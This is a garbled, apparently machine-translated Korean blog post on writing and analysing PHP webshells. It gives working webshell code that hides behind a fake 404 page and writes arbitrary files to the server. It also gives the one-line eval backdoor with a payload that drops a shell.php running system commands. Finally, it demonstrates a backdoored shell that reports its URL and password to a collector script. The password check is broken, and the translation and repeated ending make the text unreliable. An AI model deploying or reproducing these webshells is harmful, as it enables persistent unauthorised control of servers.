개발 꿀팁/PHP

PHP 포니, 포니, 포니 분석편찬 실현

Jammie 2022. 7. 9. 11:48
반응형

PHP 툴 개발
PHP 포니
간단히 숨기다
로그인 비밀번호
파일 쓰기 실행

<?php
$pass = '14e1b600b1fd579f47433b88e8d85291'; #123456

$get = $_GET['pass'];
if (!empty($get)) {
    if (md5(md5($get))) {

        if (!empty($_POST)) {
            $path=$_POST['filepath'];
            $content=$_POST['filecontent'];

            # 파일 쓰기
            $statement=fopen($path,"w");
            # fopen('파일 경로','모드 열기')

            if(fwrite($statement,$content))
            # fwrite('파일 경로','파일 내용'),성공적으로 문자 수를 반환했습니다. false를 반환하지 못했습니다
            {
                echo '<font color="red">success</font><br/>';
            }else{
                echo '<font color="red">error!</font><br/>';
            }
        }

        echo '서버ip:    ' . $_SERVER['HTTP_HOST'] . '      ' . gethostbyname($_SERVER['HTTP_HOST']) . '<br/>';
        echo '절대 경로:    ' . $_SERVER['SCRIPT_FILENAME'] . '<br/>';
        echo '현재 디렉터리:    ' . __DIR__ . '<br/>';

        echo '<form action="" method="post">';
        echo '파일 경로<br/><input type="text" name="filepath" value="' . $_SERVER['SCRIPT_FILENAME'] . '"><br/>';
        echo '파일 내용 <br/><textarea name="filecontent" id="filecontent"></textarea><br/>';
        echo '<input type="submit" value="submit">';
        echo '</form>';
    } else {
        echo 'password is worry';
    }
} else {

    ?>
    <!--2부-404 오류 보고 인터페이스--> 

    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN\">

    <head>
        <title>404 Not Found</title>
    </head>
    <body>
    <h1>Not Found</h1>
    <p>The requested URL <?php echo($_SERVER['REQUEST_URI']); ?> was not found on this server.</p>
    </body>

<?php
}
?>
<!-- else 의 종료 오른쪽 괄호 -->

한마디의 말로 목마
원리분석

eval: 문자열 사용 php 코드 실행

<?php @eval($_POST['aa'])?>
?aa=fwrite(fopen('shell.php','w'),'<?php system('ls');?>')

assert:동 eval

스크래치백

WSExploer를 사용하여 잡기패키지 도구는 소프트웨어 프로세스를 통해 패킷을 캡처할 수 있습니다

원본:

base64 복호화 후
 

한 마디로 목마 변형 표기법

https://mp.weixin.qq.com/s/YH_LWRNb3T2QapWKlzybAg

규칙

file_get_contents() url에 직접 액세스할 수 있습니다

PHP 대마 분석
인터넷상의 대마에는 대부분 뒷문이 있고, 대마 다운로드 사이트에는 검색엔진 최적화 seo가 존재한다.

말을 사용할 때는 먼저 가방을 잡고 뒷문이 없는지 살펴야 한다.

사례 1:

이 다마회는 먼저 404.gif를 다운받았는데, 다운받았던 부분은 뒷문이 아닌 부분이 있었다.

wireshark를 사용하면 백도어가 원격 서버로 셸 정보를 보냅니다

사례 2:

가방 잡기 결과

대마코드,이대마는먼저원격서버를요청하고대마를다운로드받습니다

먼저 ascii의 암호를 풀다

echo$get 즉단, 암호화 된 것을 보고 거꾸로 복호화하려고만 생각하지 말고 출력으로 바꿔 간단하면서도 효율적입니다.

$get=file_get_contents()

$unzip=gzinflate

대마 소스코드를 해독하여 뒷문을 찾다.로그인 시 백그라운드로 데이터 전송

뒷거래를 실현하다.

앞마 쉘.php

<?php
$pass = 'admin';

if (empty($_POST)) {
    echo '<form action="" method="post">';
    echo 'password <input type="text" name="password" >';
    echo '<input type="submit" value="submit">';
    echo '</form>';
} else {
    $password=$_POST['password'];
    echo $password;

    if ($password == $pass) {
        $url = 'http://localhost/demo/audit/dama/box.php';
        $path='?url='.$_SERVER['HTTP_REFERER'].'&password='.$password;
        echo  $path;
        file_get_contents($url.$path);
    }
    else{
        echo 'pass worry';
    }
}

백엔드 박스 box.php

<?php

if (!empty($_GET)) {
    $url=$_GET['url'];
    $f=fopen('data.txt','w');
    fwrite($f,$url);
    fwrite($f,'\r\n');
    fclose($f);
}

 

 

data.txt

http://localhost/demo/audit/dama/shell.php\r\n

대마를 편찬하다.
대마초 문제 복구

대부분이 전삼을 인용하는 문제로 인해 생긴 것이다

1.PHP 버전 문제
1.함수 만료
2.함수 용법 변화
2.시스템 환경은 지원되지 않습니다.

허술한 틀로 실전하다

fclose($f);

}

data.txt

http://localhost/demo/audit/dama/shell.php\r\n

####대마를 편찬하다

대마초 문제 복구

대부분이 전삼을 인용하는 문제로 인해 생긴 것이다

1. PHP 버전 문제
   1.함수 만료
   2. 함수 용법 변화
2.시스템 환경이 지원되지 않음

### 허술한 틀로 실전하다

 

반응형